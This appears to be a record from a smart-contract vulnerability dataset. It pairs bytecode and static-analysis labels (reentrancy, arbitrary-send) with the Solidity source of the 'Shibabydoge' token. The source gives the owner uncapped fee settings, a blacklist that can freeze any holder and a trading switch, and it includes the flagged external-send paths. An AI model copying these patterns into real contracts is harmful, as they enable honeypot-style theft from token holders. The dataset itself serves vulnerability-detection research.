0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506008600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af57600f600a81905550600f600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080f995fb8fe6b64226b4b14da03d3e97a8a76e1f08e6d4667361136c97d1734764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,777
0xca3e90deaa7bd95ff0f63ab97234fcb2073bc5bd
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Shibabydoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shibabydoge"; string private constant _symbol = "Shibabydoge"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0552d0eEd25E398216930369db61C675b073D760); address payable private _marketingAddress = payable(0x0552d0eEd25E398216930369db61C675b073D760); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3450000000000000000000 * 10**9; uint256 public _maxWalletSize = 3450000000000000000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address botwallet) external onlyOwner { bots[botwallet] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101f25760003560e01c80637f2feddc1161010d578063a9059cbb116100a0578063d4a3883f1161006f578063d4a3883f1461058e578063dd62ed3e146105ae578063df8408fe146105f4578063ea1644d514610614578063f2fde38b1461063457600080fd5b8063a9059cbb14610509578063bfd7928414610529578063c3c8cd8014610559578063c492f0461461056e57600080fd5b80638f9a55c0116100dc5780638f9a55c0146104b357806395d89b41146101fe57806398a5c315146104c9578063a2a957bb146104e957600080fd5b80637f2feddc146104285780638ba4cc3c146104555780638da5cb5b146104755780638f70ccf71461049357600080fd5b806363c6f9121161018557806370a082311161015457806370a08231146103bd578063715018a6146103dd57806374010ece146103f25780637d1db4a51461041257600080fd5b806363c6f912146103465780636b999053146103685780636d8aa8f8146103885780636fc3eaec146103a857600080fd5b806323b872dd116101c157806323b872dd146102d45780632fd689e3146102f4578063313ce5671461030a57806349bd5a5e1461032657600080fd5b806306fdde03146101fe578063095ea7b3146102415780631694505e1461027157806318160ddd146102a957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600b81526a53686962616279646f676560a81b602082015290516102389190611afb565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611b65565b610654565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b0390911681526020016